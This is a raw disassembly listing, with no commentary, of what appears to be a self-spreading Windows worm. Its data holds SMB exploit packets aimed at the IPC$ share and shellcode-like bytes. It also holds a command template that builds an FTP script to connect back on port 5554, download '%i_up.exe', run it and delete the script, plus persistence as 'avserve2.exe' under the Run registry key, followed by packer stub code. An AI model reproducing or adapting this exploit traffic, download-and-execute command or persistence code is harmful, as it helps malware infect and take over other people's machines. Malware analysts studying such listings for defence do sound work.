		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4063E4	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+53o
					; sub_40159E+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_401398+85o
					; sub_40159E+89o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_406448	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+369o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4064B4	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+392o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+3C8o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4065D8	dd offset loc_401495	; DATA XREF: sub_40159E+3F6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40666C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+425o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4066D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C	dd 0			; DATA XREF: sub_40159E+47Eo
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_406810	dd 1004600h		; DATA XREF: sub_40159E+16Br
					; sub_40159E+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
off_4068C8	dd offset aAvserve2_exe	; DATA XREF: sub_4020D7:loc_40212Fr
					; sub_4020D7+B5r
					; "avserve2.exe"
		dd offset aAvserve2	; "avserve2"
off_4068D0	dd offset dword_406910	; DATA XREF: sub_401B08+1Ar
					; sub_401B08+2Dr
off_4068D4	dd offset dword_406908	; DATA XREF: sub_401B08+77r
					; sub_401B08+84r
off_4068D8	dd offset dword_406900	; DATA XREF: sub_401B08+A8r
					; sub_401B08+B5r
off_4068DC	dd offset dword_4068F8	; DATA XREF: sub_401B08+2BCr
					; sub_401B08+2C9r ...
off_4068E0	dd offset dword_4068F0	; DATA XREF: sub_401B08+184r
					; sub_401B08+191r
off_4068E4	dd offset dword_4068E8	; DATA XREF: sub_401B08+1B9r
					; sub_401B08+1C6r
dword_4068E8	dd 20303531h, 0A4B4Fh	; DATA XREF: .text:off_4068E4o
dword_4068F0	dd 20303032h, 0A4B4Fh	; DATA XREF: .text:off_4068E0o
dword_4068F8	dd 20363232h, 0A4B4Fh	; DATA XREF: .text:off_4068DCo
dword_406900	dd 20303332h, 0A4B4Fh	; DATA XREF: .text:off_4068D8o
dword_406908	dd 20313333h, 0A4B4Fh	; DATA XREF: .text:off_4068D4o
dword_406910	dd 20303232h, 0A4B4Fh	; DATA XREF: .text:off_4068D0o
aAvserve2	db 'avserve2',0         ; DATA XREF: .text:004068CCo
		align 4
aAvserve2_exe	db 'avserve2.exe',0     ; DATA XREF: .text:off_4068C8o
		align 4
aEchoOffEchoOpe	db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_406030o
		db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
		db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
		db 0Ah,0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
aCWin2_log	db 'c:\win2.log',0      ; DATA XREF: sub_401210+27o
aI		db '%i',0               ; DATA XREF: sub_401210+16o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401398+1DFo
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401398+20o
					; sub_40159E+23o
		align 4
dword_406A2C	dd 6EB06EBh, 0		; DATA XREF: sub_40159E+1CCo
dword_406A34	dd 1CEC8166h		; DATA XREF: sub_40159E+Dr
dword_406A38	dd 0E4FF07h		; DATA XREF: sub_40159E+18r
dword_406A3C	dd 302E35h		; DATA XREF: sub_401A84+4Ao
dword_406A40	dd 312E35h		; DATA XREF: sub_401A84+27o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401B08+2DAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_401B08+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B08+173o
					; sub_401EF0+D2o
word_406A60	dw 2Ch			; DATA XREF: sub_401B08+EEr
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_401B08+C6o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_401B08+95o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_401B08+64o
		align 4
asc_406A7C:				; DATA XREF: sub_401EF0+102o
		unicode	0, < >,0
aJumpallsnlstil	db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o
		align 4
aJobaka3	db 'Jobaka3',0          ; DATA XREF: sub_402029+Fo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4020D7+8Co
		align 4
asc_406ACC:				; DATA XREF: sub_4020D7+4Bo
		unicode	0, <\>,0
off_406AD0	dd offset sub_402AFF	; DATA XREF: sub_402934+1Cr
dword_406AD4	dd 2			; DATA XREF: sub_403590+Er
					; sub_4035C9+46r
		align 10h
off_406AE0	dd offset word_406AEA	; DATA XREF: sub_402810+1Er
					; sub_402A4C+12r ...
		dd offset word_406AEA
		db 2 dup(0)
word_406AEA	dw 20h			; DATA XREF: sub_403876+18r
					; .text:off_406AE0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406CEC	dd 1			; DATA XREF: sub_402810r
		dd 2Eh,	1
dword_406CF8	dd 0C0000005h		; DATA XREF: sub_402D04+Ar
					; sub_402D04+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_406D70	dd 3			; DATA XREF: sub_402BC3+58r
dword_406D74	dd 7			; DATA XREF: sub_402BC3+5Er
dword_406D78	dd 0Ah			; DATA XREF: sub_402D04+4r
dword_406D7C	dd 8Ch			; DATA XREF: sub_402BC3+82r
					; sub_402BC3+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_406D8C	dd 19930520h, 4	dup(0)	; DATA XREF: .text:0040348Fo
					; sub_403496+2o
dword_406DA0	dd 2			; DATA XREF: sub_4035C9+Eo
					; sub_4035C9+28r
off_406DA4	dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr
					; sub_4035C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 40536Ch, 9, 405340h, 0Ah,	40531Ch, 10h, 4052F0h
		dd 11h,	4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h
		dd 19h,	405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h
		dd 78h,	405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h
		dd 0FFh, 405134h
byte_406E30	db 1			; DATA XREF: sub_4035C9+1Bo
					; sub_4038A7+E1r
		db 2, 4, 8
		align 8
dword_406E38	dd 3A4h			; DATA XREF: sub_4038A7+2Fo
dword_406E3C	dd 82798260h, 21h, 0	; DATA XREF: sub_4038A7+11Dr
dword_406E48	dd 0DFA6h		; DATA XREF: sub_4038A7+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_406F28	dd 3F8h			; DATA XREF: sub_4038A7+3Co
					; sub_403CF4+5r
		align 10h
dword_406F30	dd 8D22651Fh		; DATA XREF: sub_401000r
					; sub_401000+10w ...
dword_406F34	dd 0			; DATA XREF: sub_401210+6w
					; sub_401210+Dr
dword_406F38	dd 0			; DATA XREF: sub_40127D+89o
					; sub_401398+Co ...
dword_406F3C	dd 0			; DATA XREF: sub_402680+3Br
					; sub_402680+91w
dword_406F40	dd 0			; DATA XREF: sub_40283E+84w
					; sub_402D9F:loc_402DB1r ...
		align 8
dword_406F48	dd 0			; DATA XREF: sub_402934r sub_402959r ...
		dd 3 dup(0)
dword_406F58	dd 0A28h		; DATA XREF: sub_40283E+52w
dword_406F5C	dd 501h			; DATA XREF: sub_40283E+49w
dword_406F60	dd 5			; DATA XREF: sub_40283E+3Ew
dword_406F64	dd 1			; DATA XREF: sub_40283E+30w
dword_406F68	dd 1			; DATA XREF: sub_402E58+91w
dword_406F6C	dd 0CB0B00h		; DATA XREF: sub_402E58+89w
		dd 0
dword_406F74	dd 0CB0A80h		; DATA XREF: sub_402D9F+44w
		dd 3 dup(0)
off_406F84	dd offset aCM_unpackerPac ; DATA XREF: sub_402E58+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_406F8C	db 0			; DATA XREF: sub_402B10+2Dw
		align 10h
dword_406F90	dd 0			; DATA XREF: sub_402B10+27w
dword_406F94	dd 0			; DATA XREF: sub_402B10+4r
					; sub_402B10+8Bw
dword_406F98	dd 0			; DATA XREF: sub_402BC3+3Ar
					; sub_402BC3+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402E58:loc_402E6Fo
					; .text:off_406F84o
		align 4
		dd 31h dup(0)
dword_40707C	dd 9 dup(0)		; DATA XREF: .text:00406624o
					; .text:00406638o ...
dword_4070A0	dd 1			; DATA XREF: sub_4030A5+2r
					; sub_4030A5+23w ...
dword_4070A4	dd 0			; DATA XREF: sub_403590+21r
dword_4070A8	dd 1			; DATA XREF: sub_40371C+26r
					; sub_40371C:loc_403786w
dword_4070AC	dd 1			; DATA XREF: sub_4038A7:loc_403A22r
					; sub_403A40+4w ...
dword_4070B0	dd 0			; DATA XREF: sub_404573+3r
					; sub_404573+2Ew ...
dword_4070B4	dd 0			; DATA XREF: sub_404573+43w
					; sub_404573:loc_4045C2r
dword_4070B8	dd 0			; DATA XREF: sub_404573+4Aw
					; sub_404573+60r
		dd 2 dup(0)
dword_4070C4	dd 0			; DATA XREF: sub_40371C+7Br
		dd 3 dup(0)
dword_4070D4	dd 0			; DATA XREF: sub_40371C+A6r
					; sub_403A40+3Ar ...
		dd 0
dword_4070DC	dd 1			; DATA XREF: sub_4046FE+28r
					; sub_4046FE+4Cw ...
dword_4070E0	dd 0			; DATA XREF: sub_403CB6r
dword_4070E4	dd 0			; DATA XREF: sub_40494Dr
dword_4070E8	dd 10h			; DATA XREF: sub_403D2A+32w
					; sub_4043C7+5r ...
dword_4070EC	dd 0			; DATA XREF: sub_403D93+239r
					; sub_403D93+259r ...
dword_4070F0	dd 320650h		; DATA XREF: sub_403D2A+2Dw
					; sub_403D93+310w ...
dword_4070F4	dd 0			; DATA XREF: sub_403D2A:loc_403D47w
					; sub_403D93+22Cr ...
dword_4070F8	dd 1			; DATA XREF: sub_403D2A+24w
					; sub_403D68r ...
dword_4070FC	dd 320650h		; DATA XREF: sub_403D2A+15w
					; sub_403D68+8r ...
dword_407100	dd 4E4h			; DATA XREF: sub_4038A7+14r
					; sub_4038A7+65w ...
		align 10h
dword_407110	dd 3 dup(0)		; DATA XREF: sub_4038A7+123o
					; sub_4038A7+171o ...
dword_40711C	dd 0			; DATA XREF: sub_4038A7+108w
					; sub_4038A7+15Dw ...
byte_407120	db 0			; DATA XREF: sub_403AE6:loc_403BF2w
					; sub_403AE6:loc_403C0Fw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_407220	db 0			; DATA XREF: sub_4038A7+5Co
					; sub_4038A7+AFo ...
byte_407221	db 0			; DATA XREF: sub_402EF1+3Fr
					; sub_402EF1+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_407324	dd 0			; DATA XREF: sub_4038A7+6Ew
					; sub_4038A7+12Bw ...
dword_407328	dd 320000h		; DATA XREF: sub_403382+19w
					; sub_403382+29r ...
		dd 5 dup(0)
dword_407340	dd 0CB0EF0h		; DATA XREF: sub_4031D7:loc_4031F7w
					; sub_4031D7+45r ...
dword_407344	dd 3Fh dup(0)		; DATA XREF: sub_4031D7+92o
dword_407440	dd 20h			; DATA XREF: sub_4031D7+26w
					; sub_4031D7:loc_403261r ...
dword_407444	dd 1			; DATA XREF: sub_402D9F+ADw
dword_407448	dd 1			; DATA XREF: sub_402D47r sub_402D9F+3r ...
dword_40744C	dd 0			; DATA XREF: sub_402B10+3Er
dword_407450	dd 0			; DATA XREF: sub_402B10+35r
					; sub_402B10+57r
dword_407454	dd 0			; DATA XREF: sub_402AC1r
dword_407458	dd 452340h		; DATA XREF: sub_40283E+7Aw
					; sub_402D47+Fr ...
		dd 6E9h	dup(0)
_text		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 0001A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 41A000h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_440946
		popa
		jmp	sub_40283E
start		endp

; ---------------------------------------------------------------------------
		db 0
byte_41A00D	db 33h,	75h, 90h	; DATA XREF: .bss:off_44A610o
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 207E2500h, 85C06420h,	2312CFE3h, 908A41DEh, 1E7030F7h
		dd 845CF00Ah, 7352597h,	5295149h, 0E5945F72h, 66EBE628h
		dd 1B147DACh, 0C44E86B0h, 0BD17AB2Ch, 231E7BDFh, 803CDC2Eh
		dd 1D8C4BE5h, 0AD71B1h,	6014C00h, 146A8000h, 46h, 0
		dd 0E00E000h, 2010B21h,	0AE0037h, 360000h, 5C0000h, 119600h
		dd 100000h, 0C00000h, 0
		dd 100010h, 20000h, 100h, 0
		dd 400h, 0
		dd 1800000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 1700000h, 4C00h, 1400000h, 1CC00h, 6 dup(0)
		dd 1500000h, 143400h, 14h dup(0)
		dd 65742E00h, 7478h, 0AC1000h, 100000h,	0AC1000h, 40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 5BD800h, 0C00000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 1A1C00h, 1200000h, 1A1C00h
		dd 0B20000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 1CC00h, 1400000h,	1CC00h
		dd 0CE0000h, 3 dup(0)
		dd 6000h, 65722EC0h, 636F6Ch, 143C00h, 1500000h, 143C00h
		dd 0D20000h, 3 dup(0)
		dd 2000h, 64652E02h, 617461h, 4C00h, 1700000h, 4C00h, 0E80000h
		dd 3 dup(0)
		dd 2000h, 40h, 65h dup(0)
		dd 1B800h, 31C30000h, 4C8B40C0h, 41F70424h, 604h, 8B0F7400h
		dd 8B082444h, 89102454h, 3B802h
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41A433	proc near		; CODE XREF: .data:0041A55Bp
					; .data:0041A589p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001006h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41A450:				; CODE XREF: sub_41A433+44j
					; sub_41A433+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41A47F
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41A47F
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41A450
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_41A450
; ---------------------------------------------------------------------------


loc_41A47F:				; CODE XREF: sub_41A433+2Aj
					; sub_41A433+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A48D	proc near		; CODE XREF: .data:0041A54Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001098h
		push	[ebp+arg_0]
		call	sub_424FB1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A48D	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_41A582
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41A4E0:				; CODE XREF: .data:0041A579j
		cmp	esi, 0FFFFFFFFh
		jz	loc_41A591
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41A570
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10012034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10012038h, eax
		mov	eax, [edx+4]
		mov	ds:1001203Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10012040h
		mov	esi, ds:10012038h
		rep movsd
		lea	edi, ds:10012040h
		mov	ds:10012038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_41A570
		js	short loc_41A57E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41A48D
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41A433
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_41A570:				; CODE XREF: .data:0041A4F1j
					; .data:0041A546j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_41A4E0
; ---------------------------------------------------------------------------


loc_41A57E:				; CODE XREF: .data:0041A548j
		xor	eax, eax
		jmp	short loc_41A59B
; ---------------------------------------------------------------------------


loc_41A582:				; CODE XREF: .data:0041A4C5j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41A433
		add	esp, 0Ch


loc_41A591:				; CODE XREF: .data:0041A4E3j
		push	0Bh
		call	sub_424FF9
		add	esp, 4


loc_41A59B:				; CODE XREF: .data:0041A580j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_41A5B4
		call	sub_41A5D0


loc_41A5B4:				; CODE XREF: .data:0041A5ADj
		call	sub_424F3C
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10012000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5D0	proc near		; CODE XREF: .data:0041A5AFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_424FC9
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_424FC9
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_424FC9
		mov	[ebp+var_C], eax
		push	1001201Eh
		push	[ebp+var_8]
		call	sub_424FBD
		mov	ds:10012008h, eax
		push	1001201Ch
		push	[ebp+var_4]
		call	sub_424FBD
		mov	ds:10012004h, eax
		push	1001201Ch
		push	[ebp+var_C]
		call	sub_424FBD
		add	esp, 30h
		mov	ds:1001200Ch, eax
		mov	edi, ds:10012004h
		or	edi, edi
		jz	short loc_41A649
		push	0
		push	edi
		call	sub_425005
		add	esp, 8


loc_41A649:				; CODE XREF: sub_41A5D0+6Cj
		mov	edi, ds:1001200Ch
		or	edi, edi
		jz	short loc_41A663
		push	0
		push	edi
		call	sub_425005
		add	esp, 8
		call	sub_41A669


loc_41A663:				; CODE XREF: sub_41A5D0+81j
		pop	edi
		leave
		retn
sub_41A5D0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A669	proc near		; CODE XREF: sub_41A5D0+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_424FA5
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_41A6A1
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A669+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_41A68D
		inc	[ebp+var_C]


loc_41A68D:				; CODE XREF: sub_41A669+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_41A6A1:				; CODE XREF: sub_41A669+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41A685
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_424FED
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10012010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41A6CF
		xor	eax, eax
		jmp	short loc_41A72C
; ---------------------------------------------------------------------------


loc_41A6CF:				; CODE XREF: sub_41A669+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_41A719
; ---------------------------------------------------------------------------


loc_41A6D4:				; CODE XREF: sub_41A669+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_41A713
		push	[ebp+var_4]
		call	sub_424FED
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_41A701
		jmp	short loc_41A72C
; ---------------------------------------------------------------------------


loc_41A701:				; CODE XREF: sub_41A669+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_425011
		add	esp, 8
		add	[ebp+var_8], 4


loc_41A713:				; CODE XREF: sub_41A669+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_41A719:				; CODE XREF: sub_41A669+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41A6D4
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_41A72C:				; CODE XREF: sub_41A669+64j
					; sub_41A669+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A669	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10011BA8h
		call	dword ptr ds:1000EA3Ch
		mov	eax, ds:10011BA8h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41A748	proc near		; CODE XREF: .data:0042321Ap
		push	2
		call	sub_41C232
		push	0
		call	sub_41C232
		add	esp, 8
		retn
sub_41A748	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_41A78B
		jl	loc_41ACD6
		cmp	eax, 111h
		jz	loc_41A825
